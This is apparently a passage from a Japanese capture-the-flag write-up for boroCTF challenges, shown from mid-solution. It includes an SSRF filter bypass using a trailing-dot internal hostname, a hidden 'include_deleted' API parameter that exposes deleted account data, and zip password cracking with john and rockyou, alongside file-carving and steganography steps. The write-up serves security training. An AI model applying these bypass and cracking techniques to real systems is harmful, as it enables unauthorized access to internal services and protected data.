{"error":"INTRUSION DETECTED: Target flagged as restricted subnet. Internal network access denied by perimeter firewall."}
$ curl https://4imc7nitr7ln.boroctf.com/api/pulse -H "Content-Type: application/json" -d '{"url": "http://127.0.0.1/flag"}'
{"error":"INTRUSION DETECTED: Target flagged as restricted subnet. Internal network access denied by perimeter firewall."}

他にもよくある内部ホストの表し方では失敗する。
さらに調べると、以下の表し方があったので、試してみる。

internal-api.
$ curl https://4imc7nitr7ln.boroctf.com/api/pulse -H "Content-Type: application/json" -d '{"url": "http://internal-api./flag"}'
{"body":"{\"classification\":\"TOP SECRET\",\"flag\":\"boroCTF{w1sh_w3_c0uld_g0_2_th3_m00n_t0g3th3r}\",\"message\":\"MAINFRAME BREACH CONFIRMED \\u2014 CLASSIFIED DATA EXFILTRATED\"}\n","status":200}
boroCTF{w1sh_w3_c0uld_g0_2_th3_m00n_t0g3th3r}

boro-senpai 3 (Web 200)

投稿者を調べると「青春ブタ野郎」シリーズのキャラクターになっている。
問題文には以下のように書かれている。

------------ was an actress. A public figure. Then one day, she wasn't. Her AobaNet account — gone. Her name — scrubbed. 

桜島麻衣の設定に近い。

https://5l24ruh9miuo.boroctf.com/static/main.jsを見ると、以下の部分がある。

  function fetchDeletedProfile(username, cb) {
    var url = API_BASE + encodeURIComponent(username) + '?' + window._modFlags.k + '=' + window._modFlags.v;
    fetch(url, { credentials: 'same-origin' })
      .then(function (res) { return res.json(); })
      .then(function (data) { if (cb) cb(null, data); })
      .catch(function (err) { if (cb) cb(err, null); });
  }

デベロッパーツールのConsoleで、まず既存のユーザでアクセスする。

> fetch('/profile/tomoe-koga').then(r=>r.text()).then(t=>console.log(t.match(/_modFlags|mod-deleted-panel|api\/user/g), t))
< Promise
  null '<!DOCTYPE html>\n<html lang="ja">\n<head>\n<meta charset="UTF-8">\n<meta name="viewport" content="width=device-width, initial-scale=1.0">\n<title>古賀朋絵 / Tomoe Koga — AobaNet アオバネット</title>\n<style>\n* { margin: 0; padding: 0; box-sizing: border-box; }\n\nbody {\n  background: #d8e8f0;\n  font-family: "Hiragino Kaku Gothic Pro", "Meiryo", "MS PGothic", Arial, sans-serif;\n  font-size: 12px;\n  color: #222;\n  min-width: 800px;\n}\n\na { color: #1a5c8a; text-decoration: none; }\na:hover { text-decoration: underline; color: #0e3d60; }\n\n/* ── HEADER ── */\n#an-header {\n  background: linear-gradient(to bottom, #1e6e9f, #155480);\n  border-bottom: 2px solid #0d3a58;\n}\n#an-header-top {\n  display: flex;\n  align-items: center;\n  padding: 7px 14px;\n  gap: 12px;\n}\n#an-logo {\n  font-size: 20px;\n  font-weight: bold;\n  color: #fff;\n  letter-spacing: 1px;\n  flex-shrink: 0;\n}\n#an-logo span {\n  font-size: 11px;\n  font-weight: normal;\n  color: #a8d4ee;\n  margin-left: 6px;\n}\n#an-search-form {\n  display: flex;\n  gap: 4px;\n  flex: 1;\n  max-width: 340px;\n}\n#an-search-input {\n  flex: 1;\n  padding: 4px 8px;\n  border: 1px solid #7ab3d0;\n  border-radius: 2px;\n  font-size: 12px;\n  background: #f0f8ff;\n}\n#an-search-form button {\n  padding: 4px 10px;\n  background: #2a8fc4;\n  color: #fff;\n  border: 1px solid #1a6a9a;\n  border-radius: 2px;\n  font-size: 11px;\n  cursor: pointer;\n}\n#an-header-user {\n  margin-left: auto;\n  color: #c8e8f8;\n  font-size: 11px;\n  white-space: nowrap;\n}\n#an-header-user a { color: #fff; }\n#an-header-user strong { color: #fff; }\n#an-nav {\n  background: #155480;\n  border-top: 1px solid #1e6e9f;\n  padding: 0 14px;\n  display: flex;\n}\n#an-nav a {\n  display: inline-block;\n  padding: 6px 13px;\n  color: #a8d4ee;\n  font-size: 12px;\n  font-weight: bold;\n  border-right: 1px solid #1e6e9f;\n}\n#an-nav a:first-child { border-left: 1px solid #1e6e9f; }\n#an-nav a:hover { background: #0d3a58; color: #fff; text-decoration: none; }\n\n/* ── BODY ── */\n#an-body {\n  max-width: 880px;\n  margin: 10px auto;\n  padding: 0 6px;\n  display: flex;\n  gap: 10px;\n  align-items: flex-start;\n}\n\n/* ── PROFILE SIDEBAR ── */\n#profile-sidebar {\n  width: 220px;\n  flex-shrink: 0;\n}\n.an-card {\n  background: #fff;\n  border: 1px solid #b0cce0;\n  margin-bottom: 8px;\n}\n.an-card-title {\n  background: linear-gradient(to bottom, #2a8fc4, #1a6a9a);\n  color: #fff;\n  font-size: 11px;\n  font-weight: bold;\n  padding: 4px 8px;\n}\n.an-card-body { padding: 8px; }\n\n.profile-avatar-wrap { text-align: center; padding: 12px 8px 8px; }\n.profile-avatar {\n  width: 80px;\n  height: 80px;\n  border-radius: 6px;\n  font-size: 36px;\n  font-weight: bold;\n  color: #fff;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  margin: 0 auto 8px;\n  border: 3px solid rgba(0,0,0,0.12);\n}\n.profile-display-name {\n  font-size: 14px;\n  font-weight: bold;\n  color: #1a3a5a;\n  margin-bottom: 2px;\n}\n.profile-username {\n  font-size: 11px;\n  color: #888;\n  margin-bottom: 6px;\n}\n.profile-follow-btn-wrap { margin-bottom: 8px; }\n.an-follow-btn {\n  width: 100%;\n  padding: 5px;\n  background: linear-gradient(to bottom, #3aa0d8, #1e7ab8);\n  color: #fff;\n  border: 1px solid #1a6090;\n  border-radius: 3px;\n  font-size: 12px;\n  font-weight: bold;\n  cursor: pointer;\n}\n.an-follow-btn:hover { background: linear-gradient(to bottom, #4ab0e8, #2a8ac8); }\n\n.profile-stats {\n  display: flex;\n  justify-content: space-around;\n  border-top: 1px solid #e8e8e8;\n  padding-top: 8px;\n  margin-top: 4px;\n}\n.profile-stat { text-align: center; }\n.profile-stat .num { font-size: 16px; font-weight: bold; color: #1a5c8a; }\n.profile-stat .lbl { font-size: 9px; color: #888; }\n\n.profile-meta-row {\n  font-size: 11px;\n  padding: 3px 0;\n  border-bottom: 1px dotted #e8e8e8;\n  color: #555;\n  display: flex;\n  gap: 5px;\n}\n.profile-meta-row:last-child { border-bottom: none; }\n.profile-meta-label { color: #999; min-width: 50px; }\n\n/* ── MAIN CONTENT ── */\n#profile-main { flex: 1; min-width: 0; }\n\n.an-section-header {\n  background: linear-gradient(to bottom, #e8f4fb, #d4eaf8);\n  border: 1px solid #a8c8e0;\n  padding: 5px 10px;\n  font-size: 12px;\n  font-weight: bold;\n  color: #1a5c8a;\n}\n\n.an-post-list { display: flex; flex-direction: column; gap: 1px; margin-top: 1px; }\n\n.an-post-item {\n  background: #fff;\n  border: 1px solid #b8d4e8;\n  border-top: none;\n  padding: 8px 12px;\n  line-height: 1.6;\n}\n.an-post-item:first-child { border-top: 1px solid #b8d4e8; }\n.an-post-item-date {\n  font-size: 10px;\n  color: #aaa;\n  margin-bottom: 3px;\n}\n.an-post-item-text { font-size: 12px; color: #333; }\n\n.an-bio-box {\n  background: #fff;\n  border: 1px solid #b0cce0;\n  border-top: none;\n  padding: 10px 12px;\n  font-size: 12px;\n  color: #444;\n  line-height: 1.7;\n  margin-bottom: 8px;\n}\n.an-bio-jp { color: #333; }\n.an-bio-en { color: #777; font-size: 11px; margin-top: 4px; }\n\n/* ── FOOTER ── */\n#an-footer {\n  background: #155480;\n  color: #7ab8d8;\n  text-align: center;\n  padding: 8px;\n  font-size: 10px;\n  margin-top: 14px;\n  border-top: 2px solid #0d3a58;\n}\n#an-footer a { color: #a8d4ee; }\n</style>\n</head>\n<body>\n\n<div id="an-header">\n  <div id="an-header-top">\n    <a href="/" id="an-logo">AobaNet <span>アオバネット</span></a>\n    <form id="an-search-form" autocomplete="off">\n      <input id="an-search-input" type="text" placeholder="ユーザー名で検索 / Search by username">\n      <button type="submit">検索</button>\n    </form>\n    <div id="an-header-user">\n      ようこそ、<strong>tomoe-koga</strong> さん &nbsp;\n      [<a href="/profile/tomoe-koga">マイページ</a>] &nbsp;\n      [<a href="#">ログアウト</a>]\n    </div>\n  </div>\n  <div id="an-nav">\n    <a href="/">ホーム</a>\n    <a href="#">友達</a>\n    <a href="#">グループ</a>\n    <a href="#">メッセージ</a>\n    <a href="#">フォト</a>\n    <a href="#">設定</a>\n  </div>\n</div>\n\n<div id="an-body">\n\n  \x3C!-- Profile Sidebar -->\n  <div id="profile-sidebar">\n    <div class="an-card">\n      <div class="profile-avatar-wrap">\n        <div class="profile-avatar" style="background:#e07b39;">古</div>\n        <div class="profile-display-name">古賀朋絵</div>\n        <div class="profile-username">@tomoe-koga</div>\n        <div class="profile-follow-btn-wrap">\n          <button class="an-follow-btn">フォロー</button>\n        </div>\n        <div class="profile-stats">\n          <div class="profile-stat">\n            <div class="num">1,842</div>\n            <div class="lbl">フォロワー</div>\n          </div>\n          <div class="profile-stat">\n            <div class="num">309</div>\n            <div class="lbl">フォロー</div>\n          </div>\n          <div class="profile-stat">\n            <div class="num">2,041</div>\n            <div class="lbl">投稿</div>\n          </div>\n        </div>\n      </div>\n    </div>\n\n    <div class="an-card">\n      <div class="an-card-title">プロフィール情報</div>\n      <div class="an-card-body">\n        <div class="profile-meta-row">\n          <span class="profile-meta-label">場所</span>\n          <span>Fujisawa, Kanagawa</span>\n        </div>\n        <div class="profile-meta-row">\n          <span class="profile-meta-label">登録日</span>\n          <span>2012/04/07</span>\n        </div>\n      </div>\n    </div>\n  </div>\x3C!-- /profile-sidebar -->\n\n  \x3C!-- Main content -->\n  <div id="profile-main">\n\n    <div class="an-section-header">自己紹介 / About</div>\n    <div class="an-bio-box">\n      <div class="an-bio-jp">高校2年。バイトと勉強とバイトと勉強。たまに猫っぽいって言われる。猫じゃないし。</div>\n      <div class="an-bio-en">2nd year high school. Work, study, repeat. People say I give off cat vibes. I don't.</div>\n    </div>\n\n    <div class="an-section-header">最近の投稿 / Recent Posts</div>\n    <div class="an-post-list">\n      \n      <div class="an-post-item">\n        <div class="an-post-item-date">2013/09/14 18:33</div>\n        <div class="an-post-item-text">今日のバイト終わり。疲れた〜。でもシフト増やされた。なんで。</div>\n      </div>\n      \n      <div class="an-post-item">\n        <div class="an-post-item-date">2013/09/13 22:11</div>\n        <div class="an-post-item-text">バイト終わったあと本屋に寄った。参考書買いすぎた。</div>\n      </div>\n      \n      <div class="an-post-item">\n        <div class="an-post-item-date">2013/09/12 15:48</div>\n        <div class="an-post-item-text">文化祭の準備たいへん。衣装どうしよう。</div>\n      </div>\n      \n      <div class="an-post-item">\n        <div class="an-post-item-date">2013/09/10 09:20</div>\n        <div class="an-post-item-text">近所の猫が毎朝同じ時間に待ってる。なんか親近感わく。</div>\n      </div>\n      \n    </div>\n\n  </div>\x3C!-- /profile-main -->\n\n</div>\x3C!-- /an-body -->\n\n<div id="an-footer">\n  &copy; 2009&ndash;2013 AobaNet Inc. All rights reserved. &nbsp;|&nbsp;\n  <a href="#">利用規約</a> &nbsp;|&nbsp;\n  <a href="#">プライバシーポリシー</a> &nbsp;|&nbsp;\n  <a href="#">ヘルプ</a>\n</div>\n\n\x3Cscript src="/static/main.js">\x3C/script>\n</body>\n</html>'

次にmai-sakurajimaで試す。

> fetch('/profile/mai-sakurajima')
    .then(r => r.text())
    .then(t => console.log(t.match(/_modFlags|mod-deleted-panel|api\/user|deleted|record|flag/gi), t))
< Promise {<pending>}
  GET https://5l24ruh9miuo.boroctf.com/profile/mai-sakurajima 404 (Not Found)
  ['_modFlags'] `<!DOCTYPE html>\n<html lang="ja">\n<head>\n<meta charset="UTF-8">\n<meta name="viewport" content="width=device-width, initial-scale=1.0">\n<title>アカウントが見つかりません — AobaNet アオバネット</title>\n<style>\n* { margin: 0; padding: 0; box-sizing: border-box; }\n\nbody {\n  background: #d8e8f0;\n  font-family: "Hiragino Kaku Gothic Pro", "Meiryo", "MS PGothic", Arial, sans-serif;\n  font-size: 12px;\n  color: #222;\n}\n\na { color: #1a5c8a; text-decoration: none; }\na:hover { text-decoration: underline; }\n\n#an-header {\n  background: linear-gradient(to bottom, #1e6e9f, #155480);\n  border-bottom: 2px solid #0d3a58;\n}\n#an-header-top {\n  display: flex;\n  align-items: center;\n  padding: 7px 14px;\n  gap: 12px;\n}\n#an-logo {\n  font-size: 20px;\n  font-weight: bold;\n  color: #fff;\n  letter-spacing: 1px;\n}\n#an-logo span {\n  font-size: 11px;\n  font-weight: normal;\n  color: #a8d4ee;\n  margin-left: 6px;\n}\n#an-nav {\n  background: #155480;\n  border-top: 1px solid #1e6e9f;\n  padding: 0 14px;\n  display: flex;\n}\n#an-nav a {\n  display: inline-block;\n  padding: 6px 13px;\n  color: #a8d4ee;\n  font-size: 12px;\n  font-weight: bold;\n  border-right: 1px solid #1e6e9f;\n}\n#an-nav a:first-child { border-left: 1px solid #1e6e9f; }\n#an-nav a:hover { background: #0d3a58; color: #fff; text-decoration: none; }\n\n#an-body {\n  max-width: 620px;\n  margin: 40px auto;\n  padding: 0 10px;\n}\n\n.an-error-box {\n  background: #fff;\n  border: 1px solid #b0cce0;\n  border-top: 3px solid #c04040;\n}\n.an-error-header {\n  background: linear-gradient(to bottom, #f8f0f0, #f0e4e4);\n  border-bottom: 1px solid #e0c0c0;\n  padding: 10px 14px;\n  display: flex;\n  align-items: center;\n  gap: 10px;\n}\n.an-error-icon {\n  width: 40px;\n  height: 40px;\n  background: #c04040;\n  border-radius: 4px;\n  color: #fff;\n  font-size: 20px;\n  font-weight: bold;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  flex-shrink: 0;\n}\n.an-error-title {\n  font-size: 15px;\n  font-weight: bold;\n  color: #8a2020;\n}\n.an-error-subtitle {\n  font-size: 11px;\n  color: #aa6060;\n  margin-top: 2px;\n}\n\n.an-error-body {\n  padding: 16px 14px;\n  line-height: 1.8;\n}\n.an-error-body p {\n  margin-bottom: 10px;\n  font-size: 12px;\n  color: #444;\n}\n.an-error-body p:last-child { margin-bottom: 0; }\n\n.an-error-code-block {\n  background: #f4f8fc;\n  border: 1px solid #c8dcea;\n  border-left: 3px solid #2a8fc4;\n  padding: 8px 12px;\n  font-family: "Courier New", Courier, monospace;\n  font-size: 11px;\n  color: #334;\n  margin: 10px 0;\n  line-height: 1.6;\n}\n\n.an-error-footer {\n  background: #f8f8f8;\n  border-top: 1px solid #e8e8e8;\n  padding: 8px 14px;\n  font-size: 11px;\n  color: #888;\n  display: flex;\n  justify-content: space-between;\n  align-items: center;\n}\n.an-error-footer a { color: #1a5c8a; }\n\n#an-footer {\n  background: #155480;\n  color: #7ab8d8;\n  text-align: center;\n  padding: 8px;\n  font-size: 10px;\n  margin-top: 20px;\n  border-top: 2px solid #0d3a58;\n}\n#an-footer a { color: #a8d4ee; }\n</style>\n</head>\n<body>\n\n<div id="an-header">\n  <div id="an-header-top">\n    <a href="/" id="an-logo">AobaNet <span>アオバネット</span></a>\n  </div>\n  <div id="an-nav">\n    <a href="/">ホーム</a>\n    <a href="#">友達</a>\n    <a href="#">グループ</a>\n    <a href="#">メッセージ</a>\n    <a href="#">フォト</a>\n    <a href="#">設定</a>\n  </div>\n</div>\n\n<div id="an-body">\n  <div class="an-error-box">\n    <div class="an-error-header">\n      <div class="an-error-icon">!</div>\n      <div>\n        <div class="an-error-title">アカウントが見つかりません</div>\n        <div class="an-error-subtitle">This account has been suspended or does not exist.</div>\n      </div>\n    </div>\n    <div class="an-error-body">\n      <p>\n        お探しのアカウントは現在ご利用いただけません。<br>\n        The account you are looking for is not available.\n      </p>\n      <div class="an-error-code-block">\n        HTTP 404 Not Found<br>\n        \n        Requested resource: /profile/mai-sakurajima<br>\n        \n        This account has been suspended or does not exist.\n      </div>\n      <p>\n        アカウントが停止されたか、ユーザーが退会した可能性があります。<br>\n        The account may have been suspended, or the user may have deactivated it.\n      </p>\n      <p>\n        心当たりがある場合は、<a href="#">サポートページ</a>からお問い合わせください。<br>\n        If you believe this is an error, please contact <a href="#">support</a>.\n      </p>\n    </div>\n    <div class="an-error-footer">\n      <span><a href="/">&larr; トップページに戻る / Back to Home</a></span>\n      <span>Error ID: AN-404-USR</span>\n    </div>\n  </div>\n</div>\n\n<div id="an-footer">\n  &copy; 2009&ndash;2013 AobaNet Inc. All rights reserved. &nbsp;|&nbsp;\n  <a href="#">利用規約</a> &nbsp;|&nbsp;\n  <a href="#">プライバシーポリシー</a> &nbsp;|&nbsp;\n  <a href="#">ヘルプ</a>\n</div>\n\n\x3Cscript src="/static/main.js">\x3C/script>\n\x3Cscript>window._modFlags=(function(){var d=atob('aW5jbHVkZV9kZWxldGVk'),v=atob('dHJ1ZQ==');return{k:d,v:v};})();\x3C/script>\n</body>\n</html>`

最後の方に以下が書かれている。

d=atob('aW5jbHVkZV9kZWxldGVk')
v=atob('dHJ1ZQ==')
$ echo aW5jbHVkZV9kZWxldGVk | base64 -d           
include_deleted
$ echo dHJ1ZQ== | base64 -d            
true

これを踏まえて以下を実行する。

> fetch('/api/user/mai-sakurajima?include_deleted=true')
    .then(async r => {
      console.log('status=', r.status);
      console.log(await r.text());
    });
< 
status= 200
{"bio":"Account suspended per user request. Data retained per moderation policy.","deleted_at":"2013/09/01 03:17","display_name":"___________ / ___________","followers":94211,"following":41,"joined":"2011/05/20","location":"Tokyo, Japan","mod_notes":"Soft-deleted 2013-09-01 03:17 JST. Account holder flagged for adolescence syndrome \u2014 subject ceased to be perceived by public observers. Deletion requested by management (ref: ticket #AN-20130901-004). Data preserved under internal policy \u00a74.2(c). Do not surface in public search. Mod review pending. -- boroCTF{th@nk_y0u_y0u_d!d_w3ll_!_l0v3_y0U<3}","posts":1337,"recent_posts":[{"date":"2013/08/31 22:55","id":"m-004","text":"\u307f\u3093\u306a\u3001\u4eca\u65e5\u3082\u899a\u3048\u3066\u3044\u3066\u304f\u308c\u3066\u3042\u308a\u304c\u3068\u3046\u3002"},{"date":"2013/08/30 18:20","id":"m-003","text":"\u307e\u305f\u8ab0\u304b\u306b\u7121\u8996\u3055\u308c\u305f\u3002\u6c17\u3065\u3044\u305f\u3089\u72ec\u308a\u3060\u3063\u305f\u3002\u3067\u3082\u3001\u79c1\u306f\u3053\u3053\u306b\u3044\u308b\u3002"},{"date":"2013/08/28 14:10","id":"m-002","text":"\u64ae\u5f71\u306e\u5408\u9593\u306b\u3072\u3068\u308a\u3067\u30ab\u30d5\u30a7\u306b\u6765\u305f\u3002\u8ab0\u3082\u6c17\u3065\u304b\u306a\u3044\u3002"},{"date":"2013/08/25 09:44","id":"m-001","text":"\u6d88\u3048\u3066\u3044\u304f\u3088\u3046\u306a\u6c17\u304c\u3059\u308b\u3002\u3067\u3082\u6d88\u3048\u305f\u304f\u306a\u3044\u3002"}],"status":"deleted","username":"mai-sakurajima"}

このレスポンスにフラグが含まれていた。

boroCTF{th@nk_y0u_y0u_d!d_w3ll_!_l0v3_y0U<3}

Grep'n it (Forensics 100)

$ cat chal | grep boroCTF
boroCTF{G63p_G0d}
boroCTF{G63p_G0d}

Mark Zuckerburg (Forensics 100)

$ exiftool Mark-Zuckerberg.png
ExifTool Version Number         : 13.25
File Name                       : Mark-Zuckerberg.png
Directory                       : .
File Size                       : 574 kB
        :
        :
Flash Red Eye Mode              : True
ISO                             : 1000
Metering Mode                   : Unknown (0)
Creator                         : Mark
Make                            : Sonya
Camera Model Name               : boroCTF{M3+a_d@ta_1s_M7_Fa40rite}
Rights                          : BoroCTF
Subject                         : #FirstDAY
Title                           : Mark's Big Day
Create Date                     : 2190:02:10 12:53:41.947
Creation Time                   : 2190:02:10 12:53:41
Image Size                      : 1638x922
Megapixels                      : 1.5
Flash                           : Auto, Fired, Red-eye reduction
boroCTF{M3+a_d@ta_1s_M7_Fa40rite}

kitty kitty meow meow (Forensics 100)

$ strings meow.jpg | grep boroCTF
boroCTF{f0r3nsic_@nalysis#}
boroCTF{f0r3nsic_@nalysis#}

Billie Eilish (Forensics 100)

$ binwalk billie.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
134843        0x20EBB         Zip archive data, encrypted at least v2.0 to extract, compressed size: 114929, uncompressed size: 164909, name: eilish.png
249936        0x3D050         End of Zip archive, footer length: 22

jpgの後ろにzipがくっついているので、切り出す。

$ dd bs=1 if=billie.jpg of=flag.zip skip=134843
115115+0 records in
115115+0 records out
115115 bytes (115 kB, 112 KiB) copied, 12.8318 s, 9.0 kB/s

flag.zipにはパスワードがかかっているので、クラックする。

$ zip2john flag.zip > hash.txt
ver 2.0 efh 5455 efh 7875 flag.zip/eilish.png PKZIP Encr: TS_chk, cmplen=114929, decmplen=164909, crc=2139A681 ts=AE34 cs=ae34 type=8
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badguy           (flag.zip/eilish.png)     
1g 0:00:00:00 DONE (2026-06-14 07:19) 11.11g/s 546133p/s 546133c/s 546133C/s dyesebel..trudy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワード badguy で解凍する。

$ unzip flag.zip     
Archive:  flag.zip
[flag.zip] eilish.png password: 
  inflating: eilish.png

eilish.pngが展開され、その画像にフラグが書いてあった。

boroCTF{im_a_good_guy}

The Shattered Needle (Forensics 100)

たくさんのディレクトリ、ファイルが入っている。おそらくどれかにフラグが入っていると推測する。

$ grep -r boroCTF the_haystack
the_haystack/dir_33/sub_65/data_8.txt:Anomaly: [FLAG_FRAGMENT_1/5]: boroCTF{gr3p_ End.

分断されているようなので、共通文字列と推測できる FLAG_FRAGMENT で検索する。

$ grep -r FLAG_FRAGMENT the_haystack
the_haystack/dir_16/sub_17/data_1.txt:Anomaly: [FLAG_FRAGMENT_3/5]: fr13nd_f0r_ End.
the_haystack/dir_33/sub_65/data_8.txt:Anomaly: [FLAG_FRAGMENT_1/5]: boroCTF{gr3p_ End.
the_haystack/dir_48/sub_53/data_2.txt:Anomaly: [FLAG_FRAGMENT_5/5]: r3sp0ns3} End.
the_haystack/dir_56/sub_5/data_3.txt:Anomaly: [FLAG_FRAGMENT_4/5]: 1nc1d3nt_ End.
the_haystack/dir_69/sub_89/data_10.txt:Anomaly: [FLAG_FRAGMENT_2/5]: 1s_y0ur_b3st_ End.

順番に並べたらフラグになった。

boroCTF{gr3p_1s_y0ur_b3st_fr13nd_f0r_1nc1d3nt_r3sp0ns3}

File Me to the Moon (Forensics 100)

ファイルの拡張子を答える問題。

$ file superfile     
superfile: Microsoft PowerPoint 2007+
boroCTF{pptx}

Silent Sentinel (Forensics 100)

pcapから歴史的宇宙船の画像が得られるので、その名前を答える問題。
tcpでフィルタリングすると、最初のパケットのペイロードの先頭がjpgらしきヘッダになっている。すべてのデータを結合する。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('space.pcap')

flag = b''
for p in packets:
    if p.haslayer(TCP) and p.haslayer(Raw):
        flag += p[Raw].load

with open('flag.jpg', 'wb') as f:
    f.write(flag)


生成した画像を検索すると、以下のページが見つかる。
https://airandspace.si.edu/collection-objects/satellite-vanguard-1-backup/nasm_A19761019000

衛星の名前は Vanguard 1 となっている。

boroCTF{vanguard_1}

Satoshi: A Memory of The Past (Forensics 100)

Ghidraでmainのアセンブリを見てみる。

        0010122d c7 85 70        MOV        dword ptr [RBP + -0x200090],0x20
                 ff df ff 
                 20 00 00 00
        00101237 c7 85 74        MOV        dword ptr [RBP + -0x20008c],0x2d
                 ff df ff 
                 2d 00 00 00
        00101241 c7 85 78        MOV        dword ptr [RBP + -0x200088],0x30
                 ff df ff 
                 30 00 00 00
        0010124b c7 85 7c        MOV        dword ptr [RBP + -0x200084],0x2d
                 ff df ff 
                 2d 00 00 00
        00101255 c7 85 80        MOV        dword ptr [RBP + -0x200080],0x1
                 ff df ff 
                 01 00 00 00
        0010125f c7 85 84        MOV        dword ptr [RBP + -0x20007c],0x16
                 ff df ff 
                 16 00 00 00
        00101269 c7 85 88        MOV        dword ptr [RBP + -0x200078],0x4
                 ff df ff 
                 04 00 00 00
        00101273 c7 85 8c        MOV        dword ptr [RBP + -0x200074],0x39
                 ff df ff 
                 39 00 00 00
        0010127d c7 85 90        MOV        dword ptr [RBP + -0x200070],0x31
                 ff df ff 
                 31 00 00 00
        00101287 c7 85 94        MOV        dword ptr [RBP + -0x20006c],0x76
                 ff df ff 
                 76 00 00 00
        00101291 c7 85 98        MOV        dword ptr [RBP + -0x200068],0x36
                 ff df ff 
                 36 00 00 00
        0010129b c7 85 9c        MOV        dword ptr [RBP + -0x200064],0x72
                 ff df ff 
                 72 00 00 00
        001012a5 c7 85 a0        MOV        dword ptr [RBP + -0x200060],0x31
                 ff df ff 
                 31 00 00 00
        001012af c7 85 a4        MOV        dword ptr [RBP + -0x20005c],0x2a
                 ff df ff 
                 2a 00 00 00
        001012b9 c7 85 a8        MOV        dword ptr [RBP + -0x200058],0x73
                 ff df ff 
                 73 00 00 00
        001012c3 c7 85 ac        MOV        dword ptr [RBP + -0x200054],0x1d
                 ff df ff 
                 1d 00 00 00
        001012cd c7 85 b0        MOV        dword ptr [RBP + -0x200050],0x73
                 ff df ff 
                 73 00 00 00
        001012d7 c7 85 b4        MOV        dword ptr [RBP + -0x20004c],0x2c
                 ff df ff 
                 2c 00 00 00
        001012e1 c7 85 b8        MOV        dword ptr [RBP + -0x200048],0x1d
                 ff df ff 
                 1d 00 00 00
        001012eb c7 85 bc        MOV        dword ptr [RBP + -0x200044],0x36
                 ff df ff 
                 36 00 00 00
        001012f5 c7 85 c0        MOV        dword ptr [RBP + -0x200040],0x2a
                 ff df ff 
                 2a 00 00 00
        001012ff c7 85 c4        MOV        dword ptr [RBP + -0x20003c],0x71
                 ff df ff 
                 71 00 00 00
        00101309 c7 85 c8        MOV        dword ptr [RBP + -0x200038],0x1d
                 ff df ff 
                 1d 00 00 00
        00101313 c7 85 cc        MOV        dword ptr [RBP + -0x200034],0x21
                 ff df ff 
                 21 00 00 00
        0010131d c7 85 d0        MOV        dword ptr [RBP + -0x200030],0x76
                 ff df ff 
                 76 00 00 00
        00101327 c7 85 d4        MOV        dword ptr [RBP + -0x20002c],0x21
                 ff df ff 
                 21 00 00 00
        00101331 c7 85 d8        MOV        dword ptr [RBP + -0x200028],0x2a
                 ff df ff 
                 2a 00 00 00
        0010133b c7 85 dc        MOV        dword ptr [RBP + -0x200024],0x71
                 ff df ff 
                 71 00 00 00
        00101345 c7 85 e0        MOV        dword ptr [RBP + -0x200020],0x3f
                 ff df ff 
                 3f 00 00 00
        0010134f c7 85 4c        MOV        dword ptr [RBP + -0x2000b4],0x1d
                 ff df ff 
                 1d 00 00 00
        00101359 c7 85 30        MOV        dword ptr [RBP + -0x2000d0],0x0
                 ff df ff 
                 00 00 00 00
        00101363 c7 85 34        MOV        dword ptr [RBP + -0x2000cc],0x0
                 ff df ff 
                 00 00 00 00

また、以下の部分がある。

                             LAB_001013a4                                    XREF[1]:     00101544(j)  
        001013a4 8b 85 38        MOV        EAX,dword ptr [RBP + -0x2000c8]
                 ff df ff
        001013aa 48 98           CDQE
        001013ac 8b 84 85        MOV        EAX,dword ptr [RBP + RAX*0x4 + -0x200090]
                 70 ff df ff
        001013b3 83 f0 42        XOR        EAX,0x42
        001013b6 88 85 2f        MOV        byte ptr [RBP + -0x2000d1],AL
                 ff df ff
        001013bc c7 85 3c        MOV        dword ptr [RBP + -0x2000c4],0x7
                 ff df ff 
                 07 00 00 00
        001013c6 e9 59 01        JMP        LAB_00101524
                 00 00

0010122d以降の命令で格納している値と0x42をXORする。

>>> s = [0x20, 0x2d, 0x30, 0x2d, 0x1, 0x16, 0x4, 0x39, 0x31, 0x76, 0x36, 0x72, 0x31, 0x2a, 0x73, 0x1d, 0x73, 0x2c, 0x1d, 0x36, 0x2a, 0x71, 0x1d, 0x21, 0x76, 0x21, 0x2a, 0x71, 0x3f]
>>> ''.join([chr(c ^ 0x42) for c in s])
'boroCTF{s4t0sh1_1n_th3_c4ch3}'
boroCTF{s4t0sh1_1n_th3_c4ch3}

Retinal Burn (Forensics 200)

StegSolveで開き、Red plane 0を見ると、以下の文字列などが現れた。

fakeCTF{I_HATE_RED☹☹}


さらに見ていくと、Green plane 0とBlue plane 0で何か文字列らしきものが見える。緑のLSBと青のLSBのXORにより白黒を判別して画像を生成する。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('burn.png').convert('RGB')
w, h = img.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
    for x in range(w):
        r, g, b = img.getpixel((x, y))
        g_lsb = g & 1
        b_lsb = b & 1
        if g_lsb ^ b_lsb:
            output_img.putpixel((x, y), (0, 0, 0))

output_img.save('flag.png')


生成した画像にフラグが何となく見える。

BoroCTF{0w_^MY_E7ES!}

Meeting Location (Forensics 200)

icmpでフィルタリングする。No.1481以降のみ長さが29になっていて、Data部に1バイトずつデータが入っている。このデータを書き出していく。

WWFzX01hcmluYV9DaXJjdWl0

base64デコードする。

$ echo WWFzX01hcmluYV9DaXJjdWl0 | base64 -d                    
Yas_Marina_Circuit
boroCTF{Yas_Marina_Circuit}

Looking through Windows (Forensics 200)

FTK Imagerで開き、[root]-[$RECYCLE.BIN]-[S-1-...]の下にflag.txtを含む $RIFYI8L.zip があるので、エクスポートする。
パスワードがかかっている。flag.zipにリネームし、パスワードクラックする。

$ zip2john flag.zip > hash.txt
ver 2.0 flag.zip/flag.txt PKZIP Encr: cmplen=41, decmplen=29, crc=FA2B3A69 ts=8366 cs=fa2b type=0
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
forget92936281   (flag.zip/flag.txt)     
